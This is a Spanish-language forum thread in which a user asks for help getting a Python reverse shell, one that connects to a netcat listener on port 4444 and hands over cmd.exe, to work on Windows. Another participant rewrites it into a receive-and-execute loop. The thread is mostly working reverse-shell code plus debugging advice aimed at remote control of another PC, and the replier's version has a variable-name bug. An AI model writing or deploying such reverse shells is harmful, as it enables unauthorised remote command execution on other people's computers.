Hola buenas he buscado por google pero no he encontrado nada se que funciona en linux pero en windows me da error.
#!/usr/bin/python
import socket
import subprocess
import os
host = "127.0.0.1"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(['cmd.exe'])
y me salta el error de Bad file descriptor y no se por que.
creo que es por tratar de manejar un socket como un archivo en windows... para que usas el socket como archivo?
Y como la hago con socket
lo que no entiendo es lo que quieres... no le veo sentido a crear un duplicado del file descriptor allí...
despues del conect solo tienes que enviar y recibir datos... ya se termina allí el problema
Como lo harías tu?
#!/usr/bin/python
import socket
host = "127.0.0.1"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
data = sock.recv(10240)#recibe hasta 10kb en una petición
if data: print("se recibió:",data)
y listo... con la data haces lo que quieras... recv es bloqueante, así que es util muchas veces usar hilos
Pero lo que yo quiero hacer es crear una shell reversa de cmd con netcat de escucha por ahora con el codigo de arriba del todo funciona en linux pero en windows tengo que optar por descargar el archivo nc.exe.
teoricamente es lo mismo solo tienes que cambiar linea 13
if data: print("se recibió:",data)
por
if data: subprocess.call([data])
reviso en internet y sockets no parece producir ningún problema adicional al conectarse...
tu servidor está bien configurado?, te da algún error alguna de las 2 partes, sé tan detallista como puedas, no tengo nada con que ayudarte
No haber yo quiero hacer una shell reversa (cmd.exe) en un pc y que se conecte a mi por netcat.
eso es una shell reversa XD...
es un programa
#!/usr/bin/python
que abre una conexión desde ella hacia tu servidor
host = "127.0.0.1"
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
para ejecutar comandos que le envíes
while True:
data = sock.recv(10240)#recibe hasta 10kb en una petición
if data: subprocess.call([data])